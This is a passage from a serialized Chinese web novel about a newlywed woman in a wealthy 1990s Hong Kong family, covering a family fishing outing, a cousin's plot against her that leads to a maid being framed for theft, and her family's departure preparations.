再说大房二少夫人美貌可亲,听说出身很好,佳怡小姐只是庶出,根本没法跟二少夫人相比,她不应该好好巴结二少夫人吗? 刚才阿秋去送瓜果,二少夫人居然跟她说了辛苦了。 阿秋对二少夫人印象很好,不想对她做这下作恶毒的事情。 可是佳怡小姐 阿秋抬头看眼婉柔秀美的萧佳怡,将头深深埋了下去。 “有什么不能做的呢?” “阿公楼前小湖里的水并不深,掉下去顶多是弄湿衣衫,感冒发烧罢了。” “你在背后推她一把,谁又知道是你干的呢?” “事成之后,我给你五百港币。” “有这笔钱,你阿爸阿妈肩膀上的担子也能轻些。” 萧佳怡柔声劝慰了她半晌,阿秋心里乱跳,还是抖着身子死命摇头,她不傻,大房二少夫人得老太爷喜欢,二少爷对妻子也很贴心,走路都要牵着二少夫人的手,夫妻俩并肩而行,有种岁月静好的温馨旖旎。 阿秋不想破坏这份美好。 萧佳怡再讲什么,她都缩着头不讲话。 她们俩站在花园角落处,虽然隐蔽,也不是没人经过的。 要不是花园这边过来人,阿秋都要给萧佳怡跪下了。 阿秋实在不肯,萧佳怡语调温柔往她走了,只是那恬静眸子里闪过的冷光让阿秋不寒而栗。 阿秋战战兢兢,知道她不能在三房做工了。 她必须赶紧辞工,不然佳怡小姐不会放过她的。 * 姜沉鱼沿着抄手走廊欣赏湖景,萧老太爷为了晚年养老,修了园子又请了原地,家中雕梁画栋,花草环绕,站在凉亭里眺望远处碧蓝色海面,真是心旷神怡。 萧砚本来说忙完就来接她。 集团股东召开临时会议,下午还要去看几个刚收购的工厂,萧砚走不开身,给三房打电话。 电话是萧老爷子接的,姜沉鱼听说小楼前的湖里养了鱼,在承叔的帮助下,取了钓鱼竿、渔网跟水桶,兴致勃勃坐在岸边钓鱼,没有时间接他的电话。 “爷爷,天凉少让小鱼碰水。” “十月的天哪里来得凉气!” “你个臭小子老气横秋,啰里八嗦。” “小鱼喜欢什么就让她去做,女孩子家也就这几天开心日子。” “对了,老子叫佳敏跟小鱼做伴钓鱼。” “佳敏那孩子心诚,有点缺心眼,小鱼跟她在一起吃不了亏。” “说不定还是佳敏吃亏。” 萧砚低笑:“您的意思是小鱼聪明不吃亏。” 萧老爷子应了声,“你媳妇的性子跟你小子一样,你啊,整天给老二老三挖坑。” “把你两个叔叔坑的鼻青脸肿。” “早晚有一天也把我这把老骨头坑进去。” “不会,爷爷您会长命百岁,子孙满堂。” “去,别说好话,赶紧给我生个重孙子玩玩是正事。” “……” 萧老爷子想让孙媳妇开心些,萧砚则担心姜沉鱼受凉肚子痛。 孙媳妇第一次钓鱼,萧老爷子还派了名帮手,让佣人去叫二孙女萧佳敏来帮忙。 萧佳敏听到这话的时候 ,窝在藤椅上吃巧克力,差点儿噎住嗓子。 二太太罗美珠也很吃惊。 老爷子葫芦里卖的什么药。 不管老爷子卖的什么药,萧佳敏听说阿公让她去钓鱼,换了长衣长裤,高高兴兴出门了。 上午十点,后花园湖泊水波粼粼,姜沉鱼头戴草帽,樱唇红润,气定神闲坐在湖边钓鱼。 萧佳敏过来的时候,她已经钓了两条巴掌小鱼上来。 萧佳敏走近就闻到一抹清淡缥缈的海棠花香,十月阳光温柔洒在姜沉鱼身上,越发显得她眉眼如画,娇艳明媚。 看来外面传的没错,冷面煞神堂哥真是娶了位美娇娘。 萧佳敏一屁股坐下来。 “堂嫂好,我是萧佳敏。” 姜沉鱼从不怕生,扫了眼过去,大大方方伸手笑,“你好,姜沉鱼。” 二人握了手,就安静钓鱼,各自维持大家闺秀的气质。 没几分钟,两个人就因为谁钓鱼技术更好而气氛融洽了了。 起因是姜沉鱼钓了三条鱼,都是二三两的小鱼。 萧佳敏一来就钓上了一条半斤多的鱼,因此扬眉吐气。 姜沉鱼并不焦急,一会儿又钓上来一条,约莫五六重,成功超越萧佳敏。 萧佳敏又往自个儿水桶里瞧。 姜沉鱼水桶里好几条鱼儿,为什么她就一条? “堂嫂,你真厉害。你莫不是有什么诀窍?”萧佳敏惊奇不已,坐在她旁边看。 “哪有什么诀窍,钓鱼要心静……” 姜沉鱼把钓鱼心得传给萧家敏,萧家敏听得认真,觉得要往湖堤下面走:“二堂嫂,我去下面看看能不能钓鱼。” 湖边修了石头路,越到下游越潮湿长青苔,姜沉鱼出声提醒:“小心,慢一些,这石路很滑,附近也有虫蛇,很容易掉下去。” 萧佳敏不怎么在意,她一向胆子大,不怕什么虫蛇,也觉得自己不会开下去。 “哎哟。” 萧佳敏脚下踩中苔藓,差点就一头栽进了湖水里。 姜沉鱼吓一跳,跳起来过去救人, 幸亏身在身后的保镖眼疾手快抓住了萧佳敏,才没让她掉下去。 萧佳敏差点儿掉下湖这件事终结了姜沉鱼的短暂垂钓生涯。 她俩钓的鱼寥寥无几,巴掌大的小鱼压根儿不能拿来烧烤。 她们都鱼儿放生,萧老太爷专门派佣人去采购新鲜的鱼虾,回来办烧烤宴。 佣人们忙碌,姜沉鱼跟萧佳敏帮不上忙,就在一旁吃刚烤出来的草莓蛋糕。 蛋糕很新鲜,姜沉鱼尝了一口,果酱清甜,蛋糕醇香,赞扬道,“真好吃。” “好吃。” “阿公这边的点心师傅水平就是高。” 萧佳敏吃了一嘴奶油。 萧老爷子小厨房有专门的糕点厨子,一个月三千港币,九十年代这薪资高得让人咋舌。 要说人家也是有真本事,做出来的蛋糕点心实在美味。 萧佳敏:“二堂嫂,今天算是沾了你的福气了。” 要不是姜沉鱼在这,平时她可吃不到阿公这边的草莓蛋糕。 中途萧佳怡笑容甜美过来搭话,萧佳敏没给她好脸色。 姜沉鱼目光澄净,微笑点点头便没在讲话。 明明萧佳怡孩笑容婉柔,声音也很动听,一般人应该都很喜欢她。 姜沉鱼却觉得她笑容虚假,这样的小白花样的人物,她一向是敬而远之的。 萧佳怡一个人唱不了独角戏,只能尴尬离开,她离开的时候,姜沉鱼可没放过她隐在眼底一转而过的阴冷。 姜沉鱼心下微微一动,若有所思,等萧思敏扭头找她讲话,仍旧眸光似滢滢秋水,看不出半点波动。 中午时分,姜沉鱼他们总算吃到了心心念念的烤鱼,萧老爷子没发话,除了萧佳敏外。三房其他人都没资格过来吃烤鱼虾。 即便是三太邓颖梅也不行。 三太不爱吃这乱七八糟的烧烤,萧长昌、萧长堂兄弟俩在养伤只能吃清淡的米粥,大太太母女俩倒是想过来,可惜来不了。 烤得喷香的鱼,揭去了外皮的乌黑,拿在手里,轻轻咬了一口。鱼肉很嫩,也很鲜嫩,是很鲜的那种嫩。 真可惜,这么鲜嫩的烤鱼,萧砚却吃不到。 姜沉鱼一边吃烤鱼,一边替金主大老板遗憾,丝毫没注意到手腕上玉镯犹如一汪泉水在周身摇曳,似荡开了波纹。 第26章 第26章感谢订阅 姜沉鱼低头看玉镯,总觉得这两天玉镯水头莹绿,好似身边萦绕着丝丝凉意。 萧佳敏吃着烤鱼,也在一旁抱怨,“这是什么天气,明明天气晴朗,怎么这么凉飕飕的。” 姜沉鱼突然想起了什么事,心湖有一点细微的涟漪,又很快归于平静。 她道,“或许是昨天刚下过雨的缘故。” “可能是。” “还真别说,二堂嫂前面下雨的时候,我家福妈给我多添了床蚕丝被呢。” 萧佳敏说起从小照顾自己长大的福妈,总有说不完的话。 萧家三房,少爷小姐一大堆,太太们只管生,生了之后家里自有保姆照顾少爷小姐。 福妈是二太太从娘家带来的,萧佳敏很依赖她。 刚才姜沉鱼见过福妈一面,圆脸带笑,看面相就是位善良敦厚的长者。 姜沉鱼点点头,“福妈很好。” 萧佳敏很高兴,跟姜沉鱼更加亲近,她觉得二堂嫂有眼光,是跟自己一样会看人。 一顿简单的烧烤宴,姜沉鱼跟萧佳敏吃得尽兴,萧老爷子却不怎么过瘾,人老了总会喜欢热闹场景。 于是承叔去了趟厨房。 厨房师傅又带着手下忙碌起来。 萧老爷子要办一场素斋宴,素斋种类繁多,包括素菜、素汤和素糕点,厨房师傅大显神威,很快上了一桌菜 姜汁西芹、酱汁杏鲍菇、素火腿、桂花糯藕、生焗百合…… 洋洋洒洒摆了一桌,宴席上最荤腥的食物也就是燕窝。 萧老爷子不信佛,但是过世的发妻信了一辈子,他也就跟着半信半不信,燕窝不算肉食。 萧老爷子每次吃素斋,都要来两碗燕窝。 佣人们张罗着上菜,通知三太邓颖梅也带着两个儿媳、孙女萧佳怡过来吃宴。 这是萧老爷子的意思,孙媳妇头一次上门,午宴没来让三房上桌,这次意思下,总不能太让三太没脸。 三太也晓得老爷子意思,装扮片刻,携带两个儿媳妇、萧佳怡盛装而来。 这是萧家的规矩,跟老爷子吃饭都要打扮起来。 大太太跟二太太穿戴不俗,就连萧佳怡都戴了成套钻石首饰。 三太邓颖梅更是不用说,单是脖子上那串东珠项链就价值不凡,灯光下珠光熠熠。 萧佳敏也换了洋裙,她不喜欢珠宝首饰,觉得手腕上的粉玉麻花手镯太别扭,想偷偷摘下来。 偏二太太发现了,瞪过来一眼。 萧佳敏心不甘情不愿,跟姜沉鱼诉苦。 “二堂嫂,这镯子太难看了。” “妈咪偏要我戴,像天津大麻花。” 姜沉鱼抿唇一笑,“不会啊,芙蓉玉手镯很衬你的肤色,人比花娇,很好看。” “是嘛。” 萧佳敏喜滋滋的。 姜沉鱼点点头,萧佳敏长相艳丽不足,英气有余,皮肤却很白,粉色芙蓉玉确实适合她。 “二堂嫂,你也很漂亮。” 萧佳敏赞扬道。 姜沉鱼一身粉白绣梨花的旗袍,冰肌玉肤,耳畔戴着红宝石耳坠,瞧着明艳贵气,美艳绝伦。 萧佳敏觉得再没有比二堂嫂更漂亮的女人了。 任性女儿没有闹起来,二太太也对姜沉鱼有了几分好感,她们本没有什么利益冲突,彼此说上几句话,倒也和谐无事。 邓颖梅不喜大房,对姜沉鱼不冷不热,大太太觉得姜沉鱼生了张狐媚子脸,脸蛋娇媚也就罢了,为人处事又很大气,待人处事挑不出毛病。 大太太想起姜沉鱼的家世,她有个得罪不起的少将祖父,面上和颜悦色起来,还让萧佳怡多跟姜沉鱼、萧思敏多走动。 萧佳怡温颜一笑,跟二人互动。 “堂嫂,佳敏宴席上的汤喝不惯,不如来杯果汁?” 姜沉鱼凝眸看眼,笑道。 “谢谢,那我来杯柠檬汁。” 宴席上的果汁都是鲜榨的,味道很新鲜。 萧佳怡一副姊妹友爱的模样,萧佳敏看她不顺眼,想因为要给堂嫂面子,哼哼两声,要了杯西瓜汁。 二太太见状更是欣喜,她女儿学会暂且忍耐心中不快了。 以往萧佳怡一开口,无论说什么话,萧佳敏都看不顺眼绝对要阴阳怪气堵回去。 因为她她自小到大在萧佳怡手下吃了数不清的暗亏。 萧佳敏对萧佳怡从没好脸色,即使是在萧老爷子面前,也忍不住对她出言嘲讽。 萧老爷子喜爱听话有礼礼的后辈。 萧佳怡比萧思敏大一岁,是嫡亲的堂姐。 身为堂妹对姐姐没礼貌,这要是穿出去就是萧家没有家教跟规矩。 为此,萧佳敏没少挨萧老爷子责罚、训斥。 萧佳敏有了长进,萧佳怡也察觉到了,她那张温婉恬柔的脸,有一瞬间的诧异跟不快。 三太邓颖梅没注意两个孙女间的暗流涌动,她正给老爷子泡茶。 萧老爷子喝的茶都是邓颖梅泡的,家里佣人沾不上边。 “老爷子,这两天降温,喝些红茶最合适。” 萧老爷子觉得红茶味淡,想喝龙井或碧螺春。 “好,你泡茶我放心。” 老爷子的话让六十多岁的三太笑得花枝乱颤。 宴席上一片和谐,姜沉鱼眸色安静,该吃吃该喝喝,任凭大太太问多少问题,都从容应对。 大太太气结,这个大陆妹没有想象中的好对付。 * 下午一点,集团会议结束后,萧砚乘车来离开大楼。 裴特助早就备好车辆,跟在后面一同赶往半山区大宅。 加长宾利车在路上稳稳前行,前排的裴特助接了通,“总裁,前几天跟踪少夫人的那几个古惑仔有消息了。” “哪个帮派的?” “青龙帮的,领头的那个叫阿光,青龙帮经常跟对头白虎帮争夺码头生意,最近白虎帮上任的老大很是凶悍,两帮火拼,青龙帮落了下风,他们到手的利益少了不少,手下的古惑仔手里没有油水,就三五成群混在一起,敲诈勒索,偶尔黑吃黑。 阿光就是几个古惑仔的小头目,多年来一直跟二房保持联系,他们那天跟踪少夫人就是岳家明授意的……” 萧砚阖上了书,漆黑眸光叫人生寒。 裴特助不敢多言,“警备署已经在调查了,少夫人那边?” “暂时不要任何人知道。” “是。” 吃过素席宴,萧老爷子照例去后花园散步,老爷子一出门身后就兴师动众,身后管家、保镖一大群。 萧老爷子嫌烦,手中黄花梨木拐杖一挥,赶走了一半保镖,只留下承叔跟两个身手了得的保镖。 午后后花园湖泊清湛,秋风徐徐而过,掀起一阵阵涟漪。 姜沉鱼窝在玻璃房看到这一幕,想起金主大老板出门也是坠着乌泱泱一堆保镖,抿唇笑起来。 啊,出来一上午,她有点想家了。 想爷爷奶奶、想跑马地老宅亲切有爱的家人们,也有点想念萧砚…… 等等,她想什么玩意儿? 姜沉鱼被脑中倏尔一过的想法惊了下,赶紧拿起果汁喝口压压惊。 她一定吃太多昏头了。 才会想些乱七八糟的念头。 萧佳敏没心思看阿公,一门心思想着怎么说服祖母、家人让她改读电影系。 港城电影娱乐虽然发达,到底比不上欧美。 萧佳敏不想在港城大学读书,想去米国纽约电影学院就读。 港城豪门少爷千金出国留学镀金很寻常,萧家自然有财力让送行萧佳敏出国。 问题是家中反对她去念电影学院。 前几次萧佳敏只开了个口,三太邓颖梅就怒火中烧,涂着豆蔻的鲜红指甲就要掴孙女一个耳光。 有二太太护着,萧佳敏才没挨罚。 事情一团乱麻,萧佳敏忧伤叹气。 姜沉鱼喝了口果汁,抬头看见远处熟悉的宾利车驶进雕花铁门,萧老爷子散步归来,开怀道,“臭小子平时来不了几次,媳妇在这跑得比谁都勤。” 萧思敏对着姜沉鱼挤眉弄眼。 姜沉鱼脸皮厚,一点儿不害臊,喝了两口果汁,静等萧砚下车。 正午日头热,萧砚早上的西装外套搭在裴特助手上,一身白色衬衫,袖口挽起,露出黑曜石袖扣,冷峻英挺面容没什么表情,目光落在祖父、姜沉鱼身上才有了几分温度。 “爷爷,我来接小鱼回家,” 萧砚池走上前扶着将萧老爷子。 祖孙俩一向是开门见山,有什么说什么。 萧老爷子“嗯”了声,喊承叔去酒窖拿几瓶上好花雕跟葡萄酒装好,给姜爷爷带回去。 姜老爷子酷爱喝酒,尤爱花雕酒。 姜奶奶平时管得严,姜爷爷一年到头喝不上几回酒。 这回来港城,老兄弟送他两瓶酒,姜奶奶也不好阻拦。 萧老爷子老顽童样冲着孙媳妇眨眼,“小鱼,这是你两个爷爷之间的秘密,记得保密。” 姜沉鱼会心微笑。 “爷爷,您说什么呢,我什么都没看到。” “也不知道有什么秘密。” 萧老爷子哈哈大笑,让萧砚快领走他家这只小狐狸。 萧砚扶着萧老爷子回小楼,过来牵姜沉鱼纤细柔软的素手。 姜沉鱼:“爷爷不在这,你牵我手干嘛?” 大庭广众的,一上午牵好几次手,让三房佣人看见多不好。 萧砚唇角微微上扬,慢条斯理往她身边靠了靠,“牵都牵了,现在说是不是有些晚了?” 姜沉鱼:“……” 我讲不过你,我闭嘴jpg。 姜沉鱼这模样,某人嘴角的笑意更明显了。 萧沉鱼翻了个白眼,按耐不住想咬过去,就在这时,三房铁门处传来一阵喧闹骂人声。 第27章 第27章感谢订阅 “你这个小蹄子,居然敢偷拿太太的珍珠项链!” “也不看看萧家是什么人家!” “当扒手扒到太太房里,脏心烂肺的小贱人,跟我去警察署!” 三房雕花铁门前,膀大腰圆的桂妈正带着两个女佣,对个年轻女佣连打带掐,嘴里不干不净骂着脏话。 被打的年轻女佣正是阿秋,她怀里抱着个小包袱,穿着一身粗篮布斜襟衣衫,脚上是半旧的布鞋,缩着脑袋流泪小声辩解。 “我没有拿太太的项链!” “项链是我辞工不做了,佳怡小姐给我的离别纪念。” “呸,你这下贱小蹄子敢攀扯佳怡小姐!” “就是,这串南珠项链可是老爷送给大太太的生日礼物,太太爱惜的不得了,佳怡小姐怎么会送给你?” 桂妈就跟听了天大笑话一样,对着阿秋啐了口,抡起胳膊甩了阿秋两个耳刮子,阿秋的脸肿起老高。 三房下人吵吵闹闹,实在不成体统。 桂妈平时也不是这么嚣张的,她们是得了萧佳怡的授意,在阿秋辞工出门的时候,故意检查她的包袱。 桂妈是大太太的心腹,自然也是萧佳怡的爪牙,平日没少帮着母女俩干剥削下人的缺德事,这几个女佣下手黑得很,前年甚至把一个女佣逼的跳了海。 而阿秋没有听萧佳怡的吩咐,在姜沉鱼游湖的时候,趁人不备把她推到湖里去,因此得罪了大房母女,就算是辞工不做也不可能全身而退。 在大太太母女眼中,家里的佣人地位卑贱,吃三房的喝三房的,就跟三房养的狗没什么区别。 对于不听话的狗,最好的处理方法就是让其消失到无影无踪。 阿秋辞工的时候,萧佳怡表面上温柔不舍,送她一条珍珠项链作为纪念。 阿秋出身贫寒,港城靠海,鱼虾便宜,珍珠价格也便宜,渔民出海捕鱼,经常会兜售珍珠,许多住公屋的阿婆也会买一条成色不佳的珍珠来戴。 像是阿秋姨妈就有两条珍珠项链。 萧佳怡给她的那条项链就是普通的小米珠,阿秋觉得是小姐的心意,就收下了。 不成想收下后,桂 妈来搜包袱,包袱里的小米珠项链就变成了价格昂贵的南珠项链。 阿秋被桂妈几个仆妇拽着扭打,她瘦小无助,只能抱着包袱任由她们厮打。 远处不堪入耳的骂声传来,让原本心情很好的萧砚冷了眉眼。 姜沉鱼秀眉,微微凝起,“萧砚,我认得那位姑娘。” “嗯?” “她不是偷拿主人财物的人。” “上午在玻璃房这个姑娘过来送瓜果,捡到了我不小心丢掉在花园的红宝石项链,当时四下无人,我也没发现项链不见了。若是这姑娘手脚不干净,大可以偷偷捡起来拿出去卖掉。” “她没这么做,而是把项链送还给我。” 姜沉鱼柔声细语讲完,萧砚冷峻的眉眼平静淡然,大手摩擦下手心柔软。 气得姜沉鱼想真想跳起来咬他几口。 萧砚薄唇勾了勾。 “裴特,过去看看。” “是。” 裴特助也是不高兴,三房这堆烂摊子真该好好整治整治,居然打扰总裁跟少夫人培养感情,真是欠收拾! 裴特助领命而去,身后跟着两个黑衣保镖。 “贱蹄子,我看你是不见棺材不落泪!” 桂妈正要一巴掌扇在阿秋脸上,被黑衣保镖擒住了手,黑衣保镖收紧手劲极大,疼得桂妈连声叫唤。 “哎哟,哎哟,我的手要断了!” “你们是什么人?” “敢管我们的事,我们可是大太太的人!” 跟在桂妈旁边的两个女佣叫嚣。 裴特助不耐烦,什么大太太几太太的,在他们总裁面前都是庶出,摆什么狗屁架子。 裴特助摆摆手,另外两个嚣张的女佣被黑衣保镖拎老母鸡样拽起来 “总裁,人带过来了。” “带去给承叔,让他好好清理清理三房。” 一道冷冽的嗓音在耳边响起。 桂妈几个猛然回过神来,对上萧砚淡漠的黑眸,顿时吓得魂飞魄散,屈腿就跪在了地上。 “二少爷,我们不知道您在这,二少爷您大人有大量,绕了我们吧!” “二少爷,我们给您磕头!” 桂妈肥胖的身子抖个不停,去年三房有个不知死活的女佣仗着有几分姿色,在二少爷游泳的时候,接口送水在少爷面前搔首弄姿,还妄图下给二少爷下药。 当时随着一声尖叫,那个女佣就被二少爷踹进了泳池。 等保镖听到声音冲进来,女佣不知道什么原因,已经半死不活躺在水池里。 二少爷面无表情地站在池边,挺拔的身影隐隐绰绰隐藏在黑暗,听说那个女佣当晚就被解决掉了。 她很有可能被二少爷下令杀了…… 一想到这些,桂妈几个跪在地上,“砰砰砰”又连磕好几个头,见求不动二少爷,就把目标打到姜沉鱼身上。 “二少夫人,我们知道错了,求您帮我们说说情。” 几人痛哭流涕,模样十分可怜。 姜沉鱼安安静静站在一侧,眉目清丽妩媚,一副很好说话的模样。 没想到姜沉鱼微微一笑,说出来的话能噎死人。 “求情?” “求什么情,罪有应得的人就该得到惩罚。” “要是知道每个人犯了罪求情就能免罚的话,还要警察做什么?” “……” 在萧砚池的轻笑声中,桂妈跟两个女佣被保镖绑了起来带去见了承叔,在边上发抖的阿秋则被好言安抚,送回了家。 承叔果断处理了桂妈几人,辞退的辞退,送警察署的送警察署,办得干净利索。 这事还传到萧老爷子耳中,老爷子不管家中事,三房佣人、园丁加保镖几十口子管起来也费心神,有些事情他知道了也全当没听到,睁一只眼闭一只眼就过去了。 今天这事情闹大了。 萧老爷子年轻时候在商界叱咤风云,老了发起脾气也是暴跳如雷,直接把三太跟大儿媳妇叫来一顿骂。 三太回去又把大太太骂了大半天。 萧佳怡得知此事,脸色发白,又惊又怒,母女俩算是彻底恨上了大房跟姜沉鱼。 * 十月下旬,港城下了一场倾盆大雨,这场雨一连下了好几天,庭院的花草树木被风雨打得七零八落。 外面暴雨也不耽误萧砚工作,这几天气温降了下来,他一早就出门工作。 姜沉鱼则是美美睡到自然醒。 清晨朝阳金灿灿落在窗帘上,老宅庭院的狼藉已经被收拾干净,还剩满地落叶,生叔正带着园丁打扫落叶。 天气凉爽宜人,雨后天气晴朗,大家心情都不错。 姜沉鱼吃过早餐,陪着郭玉琴在客厅里插花,郭玉琴这几天迷上了插花,一口有空闲拉着儿媳妇一块摆弄。 “小鱼,玫瑰花比较好还是百合比较好看。” “玫瑰花。” “下午咱们找个插花师来。” “妈咪您插花的手艺比那些专业人士强多了。” 姜沉鱼嘴巴抹蜜,哄得郭玉琴开心不已。 小团子萧甜在楼下跟哥哥萧茗玩足球,兄妹俩蹬蹬蹬跑来跑去,累出一身汗。 吃晚饭的时候,文燕蓉面有得色宣布她怀了二胎。 姜建军喜不自胜,姜沉鱼面容平静,该吃吃该喝喝,姜爷爷二老高兴大过失望,萧长章夫妇给亲家准备了贺礼,只有姜沉宁神色不对,垂头丧气,没吃两口饭。 姜沉宁即将大学毕业,毕业后摆在她面前有两条路,一条路是按部就班,结婚生子,一条是去部队或者政府工作,安稳一生。 要是普通姑娘这两条路,随便选一条都会过得不错。 可姜沉宁不一样,她是重活一次的,再也不想如前世一样,被他人支配命运、稀里糊涂又虚荣市侩过一辈子。 这一世她想把握住自己的命运,想继续攻读服装设计硕士,成立个人服装品牌。 可惜姜建军不支持,他是老思想,觉得小女儿既然不能为家族铺路,不如安安静静读完大学,进政府部门工作就可以了。 文燕蓉老蚌怀珠,就盼着生个儿子光耀起来,更是不在意女儿的想法。 姜沉鱼看了便宜妹妹一眼没出声,当天晚上递过来一个存折,给她当创业资金。 姜沉宁眼中含泪,“你为什么帮我?” 为什么呢? 姜沉鱼也想问自己这个问题,大约因为她们是血脉相连的姐妹,也或许是世道困苦,女孩子生活在这世上,本就比男人艰难许多,她看到一个有梦想发光发亮的女孩子,顺手就帮了。 姜沉鱼双臂环抱,姿容潋滟,“别高兴的太早,这钱是借给你的,三年后连本带利还给我,别想赖账。” 姜沉宁没跟往常一样跳脚,而是奔过来给了姜沉鱼一个大而温暖的拥抱。 “姐,谢谢你。” “我对不起你,不该把你推出来嫁到港城来。” “姐你打我一顿出出气吧。” 姜沉宁又哭得稀里哗啦,开始忏悔自己的错。 姜沉鱼皱眉:“这有什么好哭的,我嫁到港城有大笔的彩礼跟嫁妆拿,不比你手里没钱,独自哭唧唧强?” “哎呀,你哭的太难看了。” “鼻涕都流下来了,像只脏兮兮流浪狗,离我远一点。” 鼻涕一把泪一把的姜沉宁:“……” 行吧,她姐还是那个娇气毒舌的臭德行。 第28章 第28章感谢订阅 仲秋时节,悬铃木树叶金黄,落了满地。 姜家一家人已经订好了回江城的时间,择日便要回大陆。 萧老爷子要为挚友践行,一大早三房上下就忙活起来,厨房里烟熏火燎,案台上摆满了各式各样的鱼虾肉菜。 老管家承叔在厨房盯梢,“老太爷说了,姜老将军最喜吃鱼羹,鱼羹要新鲜,其他菜也马虎不得。” “这是家宴也是送别宴,不能出点意外!” 老爷子发了话,一众下人自然不敢造次,谁也没那个胆量去摸老虎尾巴。 自从出了桂妈几个女仆的事,三太邓颖梅就“病”下了,大太太 母女俩也是面色不佳。 相反的,二太太罗美娟却是扬眉吐气,现在管家权在她手里,罗家财大气粗,得知女儿管了家,立马派了两个自梳老阿妈跟几个菲佣来,人在家里帮忙,每月薪资罗家出,任凭谁也挑不出毛病来。 二太太有了帮手,没几日就把家里打理的井井有条。 萧老太爷夸了二儿媳妇几句,说她懂规矩,能管家,大太太听了脸色微白,手里的白瓷小碗吃点捏碎了。 三房鸡飞狗跳,跑马地老宅也出了件乌龙事件。 数天前,宣称自己怀孕的文燕蓉没有怀孕! 姜沉鱼听到这个消息的时候,正盘膝坐在二楼客房阳台沙发上,一边吃蛋糕,一边凭栏远眺大海。 栗子蛋糕是新烤出来的,王妈还送了杯热腾腾的杏仁茶,白天萧砚在集团忙工作,新婚楼小楼那空空荡荡。 姜沉鱼干脆跑到客房来陪爷爷奶奶。 二老去散步了,她就来找姜沉宁聊天解闷。 这会儿便宜妹妹不在房间,姜沉鱼刚咬了口蛋糕,姜沉宁就哭丧着脸过来。 “姐……” “嗯。” 姜沉鱼吃了满嘴的蛋糕,香醇从口里甜到心里,含糊应了一声,亲爸跟继母两口子怎么样,她并不是很关心。 “咱爸又跟我妈吵架了。” 姜沉宁坐下来也用叉子叉了块蛋糕,往嘴里送,自从姜沉鱼借给便宜妹妹创业基金后,姐妹俩的关系异常和谐,要是有人敢说句姐姐不好当,当妹妹的一准会冲上去狂扇耳光。 “吵架?” “你妈不是最贤良淑德,怎么跟姜参谋长吵架了?” 谁给文燕蓉的胆子? 姜沉宁知道亲妈跟姐姐不睦,瞥了眼阳台四周,没有看见看见萧家的下人,咽下口中的蛋糕才悄声道,“不是我妈跟咱爸吵架,是咱爸生气指着我妈骂。” “原因呢?” “嗨,我妈……” 姜沉宁还没说出口,姜沉宁就听到二楼客房传出来姜建军刻意压低的咆哮声。 “我对你太失望了!” “你也是四十多岁,生育过的人了,居然是搞不清楚自己怀没怀孕!真是滑天下之大稽!” “我的脸面都被你丢尽了!” 姜建军此生最爱仕途跟面子,文燕蓉这次中年“有孕”本是件喜事,亲家夫妻还送了贺礼过来,跟萧家交好的几家豪门听闻消息,似乎也有意思来恭贺。 这么有面子的一件事,如今变成了一场笑话。 姜建军怒不可遏,骂得文燕蓉缩在角落头也不敢抬。 这事真不能怨她,她月事一向挺准的,每隔二十八天就会来一次,自从来了港城这都一个多月了,也没来月事,前几天回吃东西还犯恶心,看见酸甜可口食物就想多吃…… 这症状跟年轻时刚怀沉宁那会儿一模一样。 文燕蓉一高兴,也没人找医生确认,自顾自把“好消息”告诉了姜建军,从而引发了这系列事件。 隔壁姜建军拍桌子吼人,姜沉鱼这边美眸眯起,晃晃刚倒入高脚杯的葡萄酒。 “这事儿是真的?” 姜沉宁震了下,默默点头。 “姐,你说我妈是不是有点傻?” 傻不傻的姜沉鱼可管不着,只不过这么一来,消息传出去,姜家的面子可就好看了。 文燕蓉假孕一事可大可小,九十年代内地二胎计划生育查的很严,有偏远山山区妇女为了生孩子躲到山沟沟,生完孩子再交一笔罚金就好了。 姜建军是部队高层,违背政策,后果可不是闹着玩的。 姜沉鱼抿了口葡萄酒,嗯,甜丝丝的味道不错。 姜沉宁则有些头疼地按了按眉心,想着这事该如何收场。 姜沉鱼笑了笑,还能怎么办,当然是趁着消息没传出去,早点回江城去,不然留下来等着别人笑话? 姜沉鱼料想的没错,萧老爷子刚为姜家举办了践行宴,当天下午,姜建军满面歉然找到萧长章夫妇,告知两天后就要回江城。 萧长章夫妇愕然,“不是定好二十九号飞江城的,怎么把日期提前了?” “部队有急事,必须早些回去。” “好。” “既然亲家有事,我们就不挽留了。” 萧长章吩咐生叔去订飞机票,郭玉琴下了楼,安排王妈、吴妈她们帮着姜家二老收拾行装。 文燕蓉闹出来的糗事,姜爷爷、姜奶奶暂时不知道。 姜爷爷跟萧老爷子在楼下通电话,姜沉鱼陪着奶奶喝花茶,吃点心。 不知道是不是昨天在阳台吹风受凉了,姜沉鱼有点小感冒。 姜奶奶关心孙女,“这是受了风寒了?” “昨天在阳台吹风了,有点着凉。” “一会儿喝点感冒药,奶奶别担心。” 姜沉鱼让老人家宽心,姜奶奶可放心不下来,从小宝贝到大的孙女,就是嫁了人也是要操心的。 “你这孩子,着凉可不是小事情,万一少了发烧了是要去医院的,奶奶这有感冒颗粒,冲一杯趁热下喝下去。” “嫁人了也不知道好好照顾自己,以后怎么当母亲?” “阿砚以后当爸又当妈,还要管理公司,要有多累哟。” 姜奶奶絮絮不已,姜沉鱼尴尬静坐,她跟萧砚是契约婚姻,平时都不睡在一张床上,哪来的什么孩子? 不提金主大老板还好,一提他,姜沉鱼洁白如玉的脸蛋就有些发热。 她摸摸自己脸颊,觉得真是着凉了,立马喝了一碗苦苦的感冒颗粒。 晚上萧砚难得早回来,晚饭后,告诉姜沉鱼一个消息。 “小鱼,三房桂妈昨天失踪了。” 桂妈失踪了? 姜沉鱼心中一惊,开始浮想联翩,开始把大陆那些失踪案往上头套。 萧砚黑眸染上笑意,“别胡乱猜测,桂妈没事,她伤了人跑到乡下去了。” 姜沉鱼瞠目:“伤了人跑乡下去了?” 萧砚修长手指点点书桌,姜沉鱼一双美眸滢滢照人,屁颠屁颠凑过来打探八卦。 “到底怎么回事,快说呀。” 萧砚慢条斯理开口,“很想知道?” 那当然,姜沉鱼狂点头。 萧砚黑眸深邃,有点魅惑,“要利息的。” 姜沉鱼不解,“什么……” 剩余的话还没说出口,微凉的檀木气息拂来,萧砚附身吻住了她的红唇。 “这就是利息。” 姜沉鱼:“……” 她用一个吻当利息,换来了想知道的八卦。 代价很惨痛。 事情是这样的,桂妈这老阿妈,在三房横行霸道几十年,在家把儿子儿媳妇制的服服帖帖,在外面也是拽的二五八万。 这不是快冬天了,桂妈被三房辞退,在家没事干就跟一群港城没工作的阿公阿婆拎着篮子去煤矿场捡煤核,所谓的“煤核”,就是煤炭在燃烧时还没有完全烧透,就被当做炉灰扔到了炉灰堆,那些没烧偷的煤块媒秋就倒在外头。 